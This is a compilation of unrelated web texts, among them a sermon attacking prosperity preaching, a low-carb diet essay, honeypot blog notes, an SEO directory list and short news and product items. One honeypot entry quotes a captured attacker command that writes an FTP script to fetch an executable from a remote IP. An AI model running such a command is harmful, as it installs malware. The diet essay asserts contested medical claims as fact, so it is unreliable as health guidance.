A few weeks ago there was an event here at Dodger Stadium with Joel Osteen, thirty-five thousand people at Dodger Stadium, something like that. He is now the largest, quote/unquote church...I'm using the word loosely...in America down in Houston. You need to understand that he is a pagan religionist in every sense. He's a quasi-pantheist. Jesus is a footnote that satisfies his critics and deceives his followers. The idea of this whole thing is that men have the power in themselves to change their lives. In his definitive book, Your Best Life Now, he says...and that ought to be a dead giveaway since the only way this could be your best life is if you're going to hell. He says that anyone can create by faith and words the dreams he desires...health, wealth, happiness, success...the list is always the same.
Here's some quotes from his book Your Best Life Now. "If you develop an image of success, health, abundance, joy, peace, happiness, nothing on earth will be able to hold those things from you," end quote. See, that's....that's the law of attraction that's a part of this kind of system.
Here's another quote, "All of us are born for earthly greatness. You were born to win." Win what? "God wants you to live in abundance, you were born to be a champion. He wants to give you the desires of your heart." "Before we were formed, He prepared us to live abundant lives, to be happy, healthy and whole. But when our thinking becomes contaminated, it's no longer in line with God's Word," end quote. By the way, "God's Word is not the Bible, God's Word is that Word that comes to us mystically, spiritually, that tells us what we should want."
Here's another quote, "Get your thinking positive and He will bring your desires to pass. He regards you as a strong, courageous, successful person. You're on your way to a new level of glory." Hum...how do you get there? "Believe...he says...visualize, and speak out loud." Same exact approach. Words release your power. Words give life to your dreams.
Here's another quote. "Friend, there's a miracle in your mouth." I think Isaiah might object to that. He said, "I'm a man of unclean lips and I dwell amidst a people of unclean lips."
Here's Joel Osteen's prayer. "I thank You, Father, that I have Your favor." Wow! Did he meet the Pharisee in Luke 18, or what? "I thank You that I'm not like other people."
Here's another quote. "I know these principles are true because they work, for me and my wife." Oh, so that's the test of truth. Are you kidding? I know these things are true because they work for me and my wife? Sure, you're at the top of the Ponzi scheme.
And then he said, "Even finding a perfect parking spot at the mall." And I ask, "What about the little old lady you cut off to get into that parking? What about her dreams?" Maybe she was born to lose. I mean, it's so silly, so bizarre.
He says, "God has already done everything He's going to do, the ball's in your court." You have to take that part of God which exists in you and create your own reality.
What is the source of this? Where does this come from? Answer: Satan, this is satanic. This is satanic. This is not just off-centered, this is satanic.
Why do I say that? Because health, wealth, prosperity, the fulfillment of all your dreams and your desires, that's what Satan always offers. That's called temptation, based on the lust of the flesh, the lust of the eyes, and the pride of life. That's exactly what corrupt fallen unregenerate people want. That's why it works so well, right? You can go right into Satan's system, make everybody feel religious and turn their desires, their temptations into somehow honorable desires. I mean, what did Satan say to Jesus? Grab some satisfaction, why are You hungry? You need to eat. You need to be healthy, whole. Why would You let Yourself be unpopular? Dive off the temple corner, whew, everybody will be wowed. You'll be the winner, You'll be the champion. You'll be the Messiah. They'll hail You. And by the way, if You just look over the kingdoms of the world, I'll give those to You, too.
That's satanic. So the lust of the flesh, the lust of the eyes, the pride of life, 1 John 2:15 to 17, it's all a part of the world and it's all passing away. And why are these false teachers so successful at what they do? Because they're in cahoots with the devil. Why is Satan successful? Because his temptations, although they might appear noble on the outside, are in perfect accord with all the fallen, corrupt, selfish, proud, evil desires of sinners. This is a false kind of Christianity and a false view of God. God is the one who reserves the right to make you well. "Have not I made the blind and the lame and the halt, He says? Or to allow you to be sick? God has the right to make you prosperous or to give you little. God reserves the right to control the circumstances and events and experiences of your life for His own ends and His own purpose."
False religion is the most heinous of all sins because it's a violation of the great commandment, "Love the Lord your God, the true one, with all your heart, soul, mind and strength," and false religion that borrows His name but creates a false God and borrows the name of Christ but creates a false Christ is the worst kind of blasphemy.
And by the way, I've said these things in a letter to the people at TBN because I know that they would hear this and I put it in a letter. They weren't too happy about it. But I need to say that. Do you understand that this is a burden for me? And I think preachers like this who preach this stuff, hate the true God. I really believe that. I believe they hate the true God and they're afraid to death that somebody might find out who He is, that He's a God of absolute sovereignty, that He's a God of absolute knowledge. He is a God of perfect wisdom. He is a God of perfect holiness, He is in perfect control of everything, absolutely sovereign over everything. That kind of God terrifies these kinds of people. And He is a God who is concerned about fulfilling things in a spiritual level whether you ever receive anything on a temporal level. I think they have hatred for the true God. They hide the true God from the eyes of their followers and they put in His place an idol of their own making with the same God.
Do you remember in Exodus when they made the Golden Calf? Did you know that when the Israelites made the Golden Calf, that was their representation of Jehovah? That was their representation of Jehovah.
We have it again today. We have even in the church the unknown God invented by man and worshiped. The comfortable God, the God who can't be responsible for everything, the God who can't be absolutely just, absolutely sovereign. The God who is to be honored in everything, the God who is the very source of our existence in whom we live and move and have our being, the God who sets the boundaries of all nations, therefore the God who is, believe me, in control of every nation's history and every nation's place in history. We don't like that God. And even preachers use the name of God and the name of Christ to propagate blasphemously a false God.
There's nothing that has a greater effect on your life than your view of God. Okay? You live your view of God. It affects everything you do...everything I do.
In John 17, we love to go back to the marvelous High Priestly prayer of our Savior and kind of camp on the fact that He prayed that we would be one, pray for unity which He did pray but that was a spiritual unity, not a superficial unity. But what is the first thing that comes out of the lips of Jesus? The first request? John 17, as He speaks to the Father, it's in verse 3, "This is eternal life, this is eternal life," this is what He prays, You want eternal life? Here's how. That they may know You the only true God and Jesus Christ whom You've sent."
What is the prayer of Christ? For a true knowledge of the true God. Do you know that God? Do you understand the fullness of His nature? That's why we're going to do this series? That's our Lord's prayer, that they may know You. And isn't it wonderful that He has revealed Himself on the pages of Scripture? That's why the Bible is called in Psalm 19, "The testimony of the Lord." It is the Lord's personal self-disclosure.
In Jeremiah, we are told that we have a right to boast. But if you're going to boast, Jeremiah 9:23, "Let not a wise man boast of his wisdom. Let not a mighty man boast of his might. Let not a rich man boast of his riches." Then verse 24 of Jeremiah 9, "But let him who boasts, boast of this that he understands and knows Me." Humph. "That he understands and knows Me, that I am the Lord who exercises loving kindness, justice and righteousness on earth for I delight in these things." God delights in a true knowledge of Him. That's why Jesus prayed, that they may know You, the only true God.
Hosea 6 verse 6, the prophet speaking for God says, "For I desired mercy and not sacrifice," and listen, "and the knowledge of God more than burnt offerings." There was a place for sacrifice, there was a place for burnt offerings. But what God really wanted was that we would know Him, that we would know Him. Why? Because He seeks our worship, right? John 4, "The Father seeks true worshipers who worship Him in Spirit and in Truth." He must be known to be truly worshiped.
There's nothing more important than this, folks. There's nothing more important than knowing who God is, worshiping the true God, the one true God, the true and living God. We have one purpose in the world and that is to know God and to make our boast in the fact that we understand and know Him.
Well, let's go back to Acts 17. This is on Paul's heart. You'll have to forgive me, folks. I know I'm talking about very specific things today and some of you think maybe I've gone too far. Listen, I suppress this as long as I can and it is not easy. I have a hard time coping with the dishonoring of God in His name and in the name of Jesus Christ. And I do my best to keep a lid on it. It helps to be going through the exposition of Scripture because I have to stay in the text. But just give me a Sunday when I can do something else and this is liable to happen, as you know. And I want you to know that I'm in good company, my hero, Paul. Verse 16, Acts 17, "Now while Paul was waiting for them at Athens..."
Now get the picture for just a minute, second tour from the church in Antioch of Syria, a missionary tour. He comes to Macedonia, he founds churches in Philippi, Thessalonica, Berea, and everywhere he went he planted a church but he generated a lot of hostility and opposition and persecution, so he had to flee for his safety.
Well he finally has come to kind of be lost in the crowd at Athens. He's gotten away from the last stop which was Berea and the Bereans escorted him to Athens to give him some rest from the trauma he was suffering in these towns where he had such a large exposure, where he's now just sitting in Athens and he's waiting for Timothy and Silas to join him. But I understand, he's waiting there, this is a time for rest, this is a time to recover from the arduous second missionary journey all on foot, the threats that he talks about in 2 Corinthians, of robbers and all these kinds of things that he endured in hunger and thirst. Now he's getting a little bit of a break and he's resting in Athens. However, he didn't rest well. Verse 16, "His spirit was being provoked within him as he was observing the city full of idols." His spirit was being provoked within him because he was observing the city full of idols. He didn't find any real rest in this city.
Athens was a great city. If you were an architect, you'd be in architect heaven in ancient Athens. It's even remarkable to see what's left of it now. If you were an architect you'd see the buildings. If you were a stone mason you'd see how the bricks were laid. If you were a street cleaner, you'd see how clean the streets were. If you were a clothier, you'd be looking at the wardrobe of everybody. But if you're a preacher of the gospel, all you can see is the spiritual realities. That's how you view the world. That's how I view the world. The rest escapes me, like it escaped Paul. It's very hard to take a tour. I can promise you, I've been in a lot of places in the world and have seen a lot of things in the world, but when I come away from all those things, what dominates my mind is nothing physical that I saw, but it's the overwhelming sense of the spiritual emptiness and the horrors of not knowing Christ and not knowing the gospel.
Friday I did a seminar in Amman, Jordan by video. Saturday I did a seminar in Beirut, Lebanon by video. My only interest in Amman, Jordan and Beirut, Lebanon is to get the gospel of Jesus Christ into those places. I have a passion that the Word of God would get everywhere in the world where it needs to be heard. Paul only viewed the world from the spiritual perspective. Remember what he says when writing to the Corinthians, "I...since I've come to Christ, I know no man according to the flesh." I don't see people superficially anymore. There he is in the great city. He doesn't say, "Wow, this is a very religious city. That's good." That's not good. He was impressed that it was full of idols. Then he goes to the Areopagus where the Supreme Court of Athens met, the very court where Socrates, by the way, was tried and condemned. Now four centuries later, the Apostle Paul is there. And Athens offered a home to almost every imaginable God in the vast pantheon of paganism. Even if you go to Athens today, you see that massive temple upon the Acropolis, it was a temple to a myriad of gods. Nearly every public building in Athens was at the same time a shrine to a god, the recording house where documents were recorded was a temple to the mother of all gods, the council house where the council met was a temple to Apollo to Jupiter, the theater was consecrated to Bacchus, the god of orgies and drunkenness. And the Acropolis, as I said, was the collection of the sculptures of all the primary gods. The importance of Athens could hardly be exaggerated, it was the city of Socrates, the city of Plato, the adopted city of Aristotle and Epicurus who started Epicureanism and Zeno who started Stoicism. Sculptures were everywhere. Philosophies were everywhere. Religious philosophies, because all their philosophies were connected to gods. Athens was a breath-taking city, a blend of amazing architectural design, natural spectacle Greece, amazing mountains and sea, artistic genius, a vision of splendor and marble and gold. It was the epitome of human achievement, epitome of religion.
But all Paul could see was all the false gods. That's all he could see. And his spirit was provoked within him, it says. His spirit was provoked and he was severely agitated, I understand that. Stirred up his emotions.
One of my favorite missionaries is Henry Martin who went to India. And he kept a journal and it's so beneficial to have some of these journals from these great men of the past, and after exiting an early visit to a Hindu Temple, he wrote this, "This excited more horror in me than I can well express. I was cut to the soul at this blasphemy. I couldn't endure existence if Jesus was not glorified. It would be hell to me if He were to be always thus dishonored."
"When asked why, he replied with these words, 'If anyone pluck out your eyes, there's no saying why there is pain, it's feeling. It's because I am one with Christ that I am thus dreadfully wounded.'"
Do we understand that? And that was Paul and that was any man who looks at corrupt religion. Oh, they had a place for God, an unknown God whom they worshiped in ignorance. But Paul's pain was over the fact that with all that religion there was not a true understanding of the true God.
So he put an end to his little vacation. Verse 17, "He took off and began to minister every where he could, with Jews and Gentiles and ended up on a mountain with the philosophers. His pain drove him into public discourse. His pain drove him to proclaim the truth and to tell people the identity of the unknown God, the only true and living God.
I understand that pain. I understand that drive because I think we live in a time even in America where there's a whole lot of confusion about who God really is. And we have a God that has been made, developed, concocted. Satan's happy with him. If you want to worship that God who is not the true and living God, he's okay with that. He's very religious; he's described as an angel of light, along with his messengers. But we cannot allow the God of human invention and the god of satanic partnership to be the god that we worship. You need to know more about God. You need to plumb the depths of the nature of God.
I found a quote from Spurgeon. He said, "Would you lose your sorrows? Would you drown your cares? Then plunge yourself into the God-heads deepest sea and be lost in its immensity." That's what we want you to do. And I hope I've been able to stimulate you as to the importance of this. You need to be a part of the solution and not be caught up in the false worship of the unknown god in our day.
Father, a lot ahead of us and we're grateful for it. We're so thankful, so grateful that You have loved us enough to make us Your own. You have given us the knowledge of Yourself by the work of Your Holy Spirit. You've brought us to truth and to life. You have made us Your sons and daughters, adopted us into Your family, made us joint-heirs with Christ where we will forever reign as citizens of heaven. We want to proclaim the true God, we want to worship Him in truth. We want to rescue people from the idols that bear the name of the true God. How horrible that Your name would be blasphemed by being given to an idol of man's making and Satan's commiseration. And give us a clear understanding of who You are and all Your glory is revealed on the pages of Scripture and make the days ahead as we learn all these things, days of great enrichment and blessing for Your glory, all of it, for Your glory and Your honor because unto You are all things, for You are all things. All the glory belongs to You. Amen.
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This is a story about Bob. There are millions of people who have stories just like his.
When Bob was 35 years old he had his blood cholesterol checked. The results indicated that his total cholesterol was through the roof – 351 mm/dl. The conventional wisdom said that anything over 200 was indicative of a high risk for coronary heart disease, which happened to run in Bob's family.
The doctor put Bob on a cholesterol lowering medication but the drug wreaked havoc with Bob's digestive tract. In addition, the warning that came with the drug said that it could possibly damage his liver, and since Bob enjoyed both beer and wine, with the occasional adult cocktail, he decided to forgo the medication and attempted to lower his cholesterol with diet and exercise.
The American Medical Association along with the American Heart Association had long ago 'conclusively' determined that fat in the diets of Americans were killing them off. Following their (and his doctor's) advice, Bob began a regime of a very low fat, high carbohydrate diet coupled with daily rigorous exercise. His fat intake was well below the recommended 30% of daily calories (it was likely well below 20%). Every day he engaged in cardiac stimulating exercises for at least an hour, usually two. He began running and was soon up to 15 miles a week. His weight dropped from 175 to 155 lbs but he could never achieve his doctor's suggested goal of 145 lbs (he was only five feet, five inches tall but with a muscular build). Still, he felt great.
After a year of this discipline he returned for his follow up blood test and was dismayed to find that his total cholesterol had dropped only two points! In addition, he was advised to keep on eye on his salt and sugar intake as now his blood pressure had risen along with his triglycerides (whatever they were). He agreed to take the cholesterol lowering drug and eliminate as much animal fat from his diet as possible. So began a lifestyle that included a diet allowing only minimal lean cuts of meats, lots of fruits and vegetables along with plenty of plain bread, pasta, potatoes and rice. No more butter or mayo. No whole milk or cheese. No more ice cream or sour cream. No more Caesar dressing. No salt on his peanuts or pretzels. And no more rib-eye steaks. But plenty of fiber; he could have all the crunchy fiber he wanted. He took to wearing Birkenstocks and he was always hungry.
Even with such a lean diet, Bob struggled to keep the weight off. Disillusioned (and getting a bit older), Bob's exercise regimen gradually fell off to taking brisk walks about three times a week. He slowly put the weight back on (as he just as slowly lost his hair) and after 10 years he was back up to about 180 pounds. Even though he didn't feel 'fat', the conventional medical wisdom ( of that week) said that he was downright obese. But 'they' also said that he was obese when he weighed twenty pounds less. He finally got over feeling offended.
Right around this time Bob called his doctor, complaining of an occasional tingling along the entire right side of his body. Undergoing multiple tests it was thought that he had experienced TIA (Trans Ischemic Attack) – a mini stroke, likely caused by hypertension. Now he agreed to take medication for this condition, yet it still hovered around the high borderline. The other meds had helped to drop his overall cholesterol to around 220 mm/hg yet his triglycerides (which had something to do with both arterial sclerosis as well as blood sugar) continued to rise. He was diagnosed as pre-diabetic along with being at an ever higher risk for cardiovascular disease. Continue to lay off the animal fats (except for fish – now that fat was good for you) and eat lots of fruits, vegetables and plenty of fiber, his doctor said. Oh, and drop 20 or so pounds while you're at it.
No matter how much Bob stuck to the prescribed diet, he could not lose weight. In fact, he started to develop that famous characteristic of the Western male; a beer belly (although he drank little beer). Not long after Bob's 50th birthday his blood pressure shot up again. He began to feel occasionally dizzy and weak. Aware of his pre-diabetic condition he bought a cheap monitoring device from Walgreen's and was not surprised to find that his blood sugar was now through the roof:over 300 mg/dl! (normal is between 90 and 120). Bob had come to resign himself to the fact that he was just one of those genetically engineered walking time bombs. Now, with full blown Type 2 diabetes added to his medical file, his doctor placed him on Glucophage to assist with insulin production and ordered a cardiac stress test, which he passed, but just barely; there might possibly be some blockage of his pulmonary arteries. This would have to be closely watched. Meanwhile, it was recommended that he visit the American Diabetes Association website for advice on what and what not to eat.
Bob was amazed. Rather than recommending a radically different diet, the ADA was telling diabetics to eat essentially the same foods that he had been eating for 15 years now; low fat, high carbs and high fiber. The only difference he could see was that he should completely eliminate alcohol from his diet, while minimizing, but not eliminating, sugar and simple carbs like white bread, white rice and potatoes. They even said that diabetics could eat the occasional dessert, as long as they exchanged it with another high glycemic item from their diet like biscuits or hamburger buns (something that made little sense to Bob, if he was supposed to be avoiding biscuits and hamburger buns anyway).
When Bob informed his parents of his new condition, his father ( a retired physician) was surprised. He wondered how Bob had developed diabetes since he knew of no incidence of this disease on either side of the family. As diabetes had been traditionally linked to genetics, he wondered where this gene had come from. (This idea has become highly suspect, as the rising rate of diabetes among indigenous populations throughout the world who had no history of diabetes prior to colonialism, would attest.)
Bob began to wonder; if fat is the great food evil of modern times (as populist activists like Michael Jacobson of the Center for Science in the Public Interest keep telling us), then why had his health deteriorated along with this supposedly healthier diet? And why, as hundreds of studies have shown, did the non-Western peoples of the world historically not suffer from diabetes, heart disease, periodontitis and numerous other common Western afflictions (including cancer) even though their diets were high in animal fat and salt and low in vegetables and grains? Now, as they have adopted Western habits, these diseases have become common, even epidemic, among those people.
Why was it that, as Americans have dramatically cut meat and animal fat from their diets, the incidents of diabetes, vascular disease and cancer have increased? Was it possible that somewhere along the line the 'experts' got it wrong? Could it be possible that the true villain was not animal fat but actually the carbohydrates that the USDA, the AMA and the NIH had been pushing on us for over thirty years? Was a low-fat diet killing millions of people?
According to distinguished science writer Gary Taubes, in his book "Good Calories, Bad Calories", the answer is a resounding YES. And this well documented answer is one that many medical researchers have been proclaiming for years, much to their professional detriment. To contest the conventional wisdom that advocates the benefits of a low fat diet is to suffer the ridicule and derision of the professional powers that be, not to mention the government, the media and numerous public interest groups. It is risky business indeed to question an entrenched doctrine that many have staked their reputations on, along with their patient's health. Not just Bob's health, but the good health of millions of the world's citizens have been compromised not by fat and salt, but instead a recipe of sugar and flour mixed with a large portion of political correctness.
Meanwhile, in our nation's schools, the USDA and the departments of education have mandated that the current generation of children continue with this nutritional experiment. And we wonder why childhood obesity continues to rise.


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The problem of the faint early Sun has been around for many years, and it boils down to this: We presume that the Sun started its life on the zero-age main sequence (ZAMS) with essentially the same mass that it has today, given the low flux of the solar wind, and we presume that our understanding of the physics of the Sun at that stage is reasonably good. Evolutionary models of the ZAMS Sun then predict that it had about 70% of its current luminosity.
That low luminosity is a problem when combined with what we know about the early atmosphere of the Earth because if the Earth's surface were to become covered in ice then the albedo would be high enough to prevent the young planet from recovering. The usual way out of this dead-end is to provide the early Earth with a reducing atmosphere that leads to a strong greenhouse effect, keeping the surface fairly toasty, or at least non-frozen.
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- How much do we know of the early Earth's atmosphere and the planet's surface?
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Why'd George Mallory climb Everest? "Because it's there." And so follows Canon, fearing neither God nor Science in its path to dominate forces of the cosmos under man's will. The X Mark I Mouse. It's also a calculator and numberpad.
Say you're "on the internet," and need to stop to add some numbers together. Better grab your calculator—oh wait, you already are. Say you're adding some numbers together. It's tax season. Better get on those taxes. But then you need to go to Amazon to order some new socks, or perhaps a book (digital? paperback? You decide). Better grab your mouse—oh wait, you already are.
Nothing can stand in your way. You have both the universal language of mathematics and the modern gauntlet of cursor-shifting in your grasp. You are human—elevated. Your veins course Bluetooth. So what'll it be? Multiplication? Division? Double clicking? Trick question. You can have it all. You are become death, destroyer of worlds.
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To shorten things, basically all required points are hit with current svn.
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Yesterday, I got an incomplete, but successful, attack on my honeypot, the attackers remote code execution looked like this:
WinExec("cmd /c echo open 22.214.171.124 4871 > o&echo user 1 1 >> o &echo get msq16.exe >> o")
As the required part to download the malware to the remotehost was incomplete, I got curious and wanted a copy. Read more »
While playing with the current hsoc code, I got attacked, and saw an offer to download something from somewhere.
due to the length of the whole term Improving the effectiveness of low interaction honeypots, I decided to use Iteolih as uniq abbrevitation. Things are rolling for the project, writing code started, a basic homepage with instructions how to compile/use it was created.
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With all the crazy web 2.0 sites coming out these days, and yes the ones I'm finding to link build with, it gave me the idea to write this post. If you have your own web 2.0 app to promote you have many options which luckily will bring in some very juicy links! I'm currently helping a client promote his web 2.0 site and found an abundance of resources to get your site listed. Some things to keep in mind here are the quality and uniqueness of your web 2.0 site because a lot of these places I'm going to list have a strict quality control.
First up is the famous and most notable Mashable. This is the news spot for the web 2.0 world and luckily for you they take suggestions on sites to write about. Mashable is a blog that has a press release feel to the site. So go ahead and submit your site, and if you're lucky enough you'll get a nice writeup with do follow links to your site…along with an assload of traffic and exposure!
Next up is my favorite web 2.0 site, Feed My App. This great site is a web directory for web 2.0 sites you can submit your site absolutely free! If your site gets approved you'll get added to the directory as well get a nice little write up better describing your site to their readers. This site has been growing quickly and is without a doubt a great place to get listed in.
Next up is another big web 2.0 directory that has been kicking it since 2006! Go2Web20 is one of the largest web 2.0 resource sites on the web today. The look and feel of the site is completely fresh and the directory is a visual browsing experience. It makes me never want to see another link directory again in my life! You can submit your site to get reviewed and if you're lucky, your web 2.0 app will get sprung into the site.
Listio is another up and coming big hitter in the web 2.0 world and lists so many apps it makes my little head spin. Not only do they have a directory of sites, but they also review web 2.0 apps indepth which brings a little more juice to your links as well attracts way more potential users. I highly recommend you get your ass in gear and submit your site.
All Things Web 2.0 is another PR5 web directory that seems like total chaos upon viewing but is very worth the time trying to get in there. The sites looks to be built on Joomla, so that might explain the crazy design. Some of the extra features include most popular and best voted apps, so if you got something good you can potentially get some extra exposure. You can go ahead and submit your site here.
Ziipa is a great web 2.0 directory that usually will list your site within a few hours as well giving you a nice do follow link(as long as you anchor text it properly). The site is not too old but the way it's layed out and marketed, it seems it will stand the test of time. I got not much else to write about, the site is pretty straight forward and just showcases your web 2.0 site in a beautiful way. Easily submit your site here.
NetWebApp is another newish web 2.0 directory that is quick to index your site and put it on display. It looks like it's built from the same script as Feedmyapp and has all the same features. It is also getting a decent amount of traffic so it is very much worth the time submitting your site. The site already has a PR2 and is updated on a daily basis, or depending on how many submissions they got that day.
W2 Directory is another newish directory for web 2.0 sites only and it requires registration before submitting. The site itself has a lot going on such as a full featured search, profiles, news and a whole lot more. You can submit your site for free and reap the benefits of some traffic and exposure. I added my clients site a couple of hours ago and was listed within minutes of following the instructions in the email you get once you sign up.
That wraps up this post until a few more sites come out, and you know they will. This should be enough to get you started and be a big help obtaining new users to your web 2.0 app. If you want to list your site, or know of one, feel free to drop it in the comments and I will be sure to blog about it. You can also contact me and make me write about your web 2.0 app site.


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According to Adam Schefter of ESPN on Thursday:
NFL's salary cap now projected to rise to about $130 million, up 5 percent from $123 million last year, per league sources. More $ for all.
— Adam Schefter (@AdamSchefter) February 20, 2014
The Green Bay Packers aren't unique in this regard. All NFL teams will get some extra salary-cap space due to the expected bump.
If confirmed, the Packers would be close to $31 under the salary cap as opposed to the $29 million under previous assumptions.
The question is, will this influence the Packers any more than usual to be active in free agency, especially in players from outside the organization?
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UBS Consumption Indicator slightly weaker
The monthly UBS Consumption Indicator weakened somewhat in February, yet its current reading suggests that robust growth in real private consumption in Switzerland is set to continue.
The latest UBS Consumption Indicator for February 2006 at 1.39 is below January's figure of 1.47, but still above the recent low of 1.24 seen last October and thus continues to point to solid growth in private consumption.
The UBS Consumption Indicator comprises five sub-indicators that, with the exception of consumer sentiment, are generally available relatively quickly on a monthly basis. The decline seen in February was due to slower growth in new car registrations coupled with a substantial slowdown in retail business, with several sectors reporting sluggish trading following the busy January clearance sales. However, the index of consumer sentiment, a constituent of the main indicator, had a significantly positive impact in February, having risen strongly recently. The UBS Consumption Indicator also incorporates monthly figures on the number of overnight stays in hotels by Swiss guests as well as the credit card turnover at points of sale in Switzerland that passes through UBS.
Despite the moderate decline in the UBS Consumption Indicator, UBS's economists expect private consumption to remain robust. The vagaries of the weather are likely to have hit consumption in March. With consumers far more optimistic looking ahead and positive momentum from the job market, there is even expected to be a moderate pick-up in consumer spending during the course of the year. Overall, UBS expects real private consumption to grow by an average of 1.9% for 2006.
UBS Consumption Indicator and private consumption in Switzerland
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Train using the Dyna-Band and dominate the tennis court with powerful strokes and increased footwork speed!
The Train for Tennis Instructional DVD features short video clips, demonstrationg over 50 different Tennis specific stretches & exercises using the Dyna-Band.
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A short sample of the DVD, can be viewed below!
The ESP Tennis Programme using the Dyna-band includes easy to perform exercises targeting the muscles specifically used in a game of Tennis. By providing resistance for muscles to work against, the DYNA-BAND® will:
o enhance players flexibility, speed, agility and endurance
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o increase racket speed resulting in more powerful strokes
o increase reaction time and court quickness (footwork speed)
o decrease risk of injury and aid rehabilitation
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The level of financial knowledge and decision-making skill needed to make ends meet, plan ahead and manage financial products can be daunting. In general, individual consumers and families tend to be challenged when it comes to basic financial knowledge and skills need to make sound decisions for their individual situations.
When it comes to finances, knowledge-based action is a sign of financial capability. Earning, saving and investing, spending, borrowing and protecting against risk are five building blocks for making the most of the resources available.


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